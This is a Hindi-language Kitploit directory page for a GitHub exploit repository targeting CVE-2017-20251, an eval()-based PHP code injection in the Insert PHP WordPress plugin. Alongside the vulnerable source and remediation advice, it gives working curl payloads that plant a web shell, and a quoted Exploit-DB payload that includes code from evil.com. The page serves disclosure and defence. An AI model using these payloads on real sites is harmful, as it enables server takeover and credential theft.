Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
By-Poloss..-..CVE-2017-20251 — Insert PHP Plugin PHP Code Injection | Kitploit
उपकरण/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubpolosss/by-poloss..-..cve-2017-20251

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

By-Poloss..-..CVE-2017-20251

Insert PHP Plugin PHP Code Injection

रिपॉजिटरी देखें
12 महीने पहलेअभी तक समीक्षित नहीं

CVE-2017-20251: इन्सर्ट PHP प्लगइन PHP कोड इंजेक्शन

भेद्यता शीर्षक

इन्सर्ट PHP प्लगइन में शॉर्टकोड प्रोसेसिंग के माध्यम से अप्रमाणित PHP कोड इंजेक्शन

मूल जानकारी

क्षेत्रमान
CVE IDCVE-2017-20251
प्लगइनInsert PHP (अब Woody Code Snippets)
प्रभावित संस्करण< 3.3.1 (परीक्षित 1.3 पर)
CWECWE-94 (कोड इंजेक्शन)
CVSS v3.19.8 (गंभीर)
CVSS वेक्टरAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
प्रकटीकरणसार्वजनिक (Exploit-DB 41308)

विवरण

Insert PHP प्लगइन संस्करण 3.3.1 से पहले रिमोट हमलावरों को एक शॉर्टकोड इंजेक्शन भेद्यता के माध्यम से मनमाना PHP कोड निष्पादित करने की अनुमति देता है। प्लगइन एक [insert_php]...[/insert_php] शॉर्टकोड पंजीकृत करता है जो बिना किसी सैनिटाइजेशन या सत्यापन के PHP के eval() फ़ंक्शन का उपयोग करके शॉर्टकोड टैग के अंदर की सामग्री का सीधे मूल्यांकन करता है।

एक हमलावर जो पोस्ट बना या संशोधित कर सकता है (REST API, XML-RPC, या योगदानकर्ता/व्यवस्थापक पहुंच के माध्यम से) किसी भी पेज या पोस्ट में मनमाना PHP कोड इंजेक्ट कर सकता है जो उनकी सामग्री को प्रस्तुत करता है, और वेब सर्वर पर पूर्ण रिमोट कोड निष्पादन प्राप्त करता है।

तकनीकी विश्लेषण

मूल कारण

भेद्यता will_bontrager_insert_php() फ़ंक्शन में मौजूद है जो the_content फ़िल्टर के रूप में पंजीकृत है:

root@kitploit:~
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- VULNERABLE
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

मुख्य मुद्दे:

  1. शॉर्टकोड सामग्री बिना किसी सैनिटाइजेशन के सीधे eval() को पास की जाती है
  2. कोई प्रमाणीकरण या क्षमता जांच नहीं की जाती है
  3. यह सत्यापन नहीं कि सामग्री एक वैध स्निपेट पोस्ट से है
  4. फ़िल्टर प्राथमिकता 9 पर चलता है, अन्य WordPress फ़िल्टर से पहले सामग्री को संसाधित करता है

हमला वेक्टर

  1. प्रारंभिक पहुंच: हमलावर [insert_php] शॉर्टकोड वाली दुर्भावनापूर्ण सामग्री के साथ एक पोस्ट बनाता या संपादित करता है
  2. वितरण: शॉर्टकोड पोस्ट सामग्री के रूप में WordPress डेटाबेस में संग्रहीत होता है
  3. निष्पादन: जब कोई उपयोगकर्ता पृष्ठ देखता है, WordPress the_content फ़िल्टर चलाता है
  4. प्रभाव: eval() सर्वर पर मनमाना PHP कोड निष्पादित करता है

शोषण की शर्तें

  • WordPress साइट जिसमें Insert PHP प्लगइन संस्करण < 3.3.1 स्थापित और सक्रिय हो
  • हमलावर के पास पोस्ट बनाने या संपादित करने की क्षमता होनी चाहिए (योगदानकर्ता भूमिका या उच्चतर)
  • WordPress < 4.7 में, REST API ने अप्रमाणित पोस्ट निर्माण की अनुमति दी (पूर्ण अप्रमाणित RCE सक्षम करना)
  • WordPress >= 4.7 में, REST API पोस्ट निर्माण के लिए प्रमाणीकरण आवश्यक है

प्रभाव

गंभीरता: गंभीर

वेब सर्वर पर पूर्ण रिमोट कोड निष्पादन (RCE):

  • सर्वर पर मनमाना PHP कोड निष्पादित करें
  • वेब सर्वर उपयोगकर्ता के लिए सुलभ किसी भी फ़ाइल को पढ़ें/लिखें
  • wp-config.php से डेटाबेस क्रेडेंशियल्स तक पहुंचें
  • वेब शेल या बैकडोर स्थापित करें
  • अन्य सिस्टम में घुसपैठ करें
  • गोपनीयता, अखंडता और उपलब्धता का पूर्ण समझौता

PoC - Curl कमांड्स

चरण 1: दुर्भावनापूर्ण शॉर्टकोड के साथ एक पोस्ट बनाएं (प्रमाणित)

root@kitploit:~
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

चरण 2: कोड निष्पादन को ट्रिगर करने के लिए पोस्ट पर जाएं

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

चरण 3: कोड निष्पादन सत्यापित करें

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

वैकल्पिक: सीधा eval() परीक्षण (सरल प्रमाण)

root@kitploit:~
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# Verify
cat /var/www/html/rce_poc.txt  # Should output: RCE-SUCCESS

Exploit-DB संदर्भ (अप्रमाणित, WP < 4.7)

root@kitploit:~
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

प्रतिक्रिया उदाहरण

जब कमजोर शॉर्टकोड संसाधित होता है, तो अंदर का PHP कोड eval() द्वारा निष्पादित होता है। मार्कर फ़ाइल परीक्षण के लिए:

root@kitploit:~
Request: Create post with [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Response: Post created successfully

Request: GET /?p=POST_ID
Response: Page renders, PHP code executes, marker.txt created on server

Verification:
$ cat /var/www/html/marker.txt
SUCCESS

अनुशंसित उपचार

  1. तत्काल: Insert PHP प्लगइन को अनइंस्टॉल करें या संस्करण 3.3.1 या बाद में अपग्रेड करें
  2. वैकल्पिक प्लगइन: WPCode जैसे आधुनिक कोड स्निपेट प्लगइन का उपयोग करें जो सुरक्षित निष्पादन संदर्भों का उपयोग करता है
  3. यदि PHP स्निपेट का उपयोग करना आवश्यक हो: सुनिश्चित करें कि केवल विश्वसनीय व्यवस्थापक ही पोस्ट बना/संपादित कर सकते हैं, और गैर-व्यवस्थापकों के लिए REST API को अक्षम करने पर विचार करें
  4. सख्तीकरण: DISALLOW_UNFILTERED_HTML स्थिरांक सेट करें (हालांकि यह मुद्दे को पूरी तरह से कम नहीं करता है)

पैच विश्लेषण

पैच किया गया संस्करण (3.3.1+):

  • शॉर्टकोड का नाम [insert_php] से बदलकर [wbcr_php_snippet] कर दिया गया
  • सुरक्षित निष्पादन संदर्भ के पक्ष में सीधे eval() उपयोग को हटा दिया गया
  • REST API एंडपॉइंट्स पर प्रमाणीकरण जाँच जोड़ी गई
  • निष्पादन से पहले स्निपेट ID सत्यापन लागू किया गया

संदर्भ

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • WordPress प्लगइन पृष्ठ
  • CWE-94: कोड इंजेक्शन
टूल डाउनलोड करें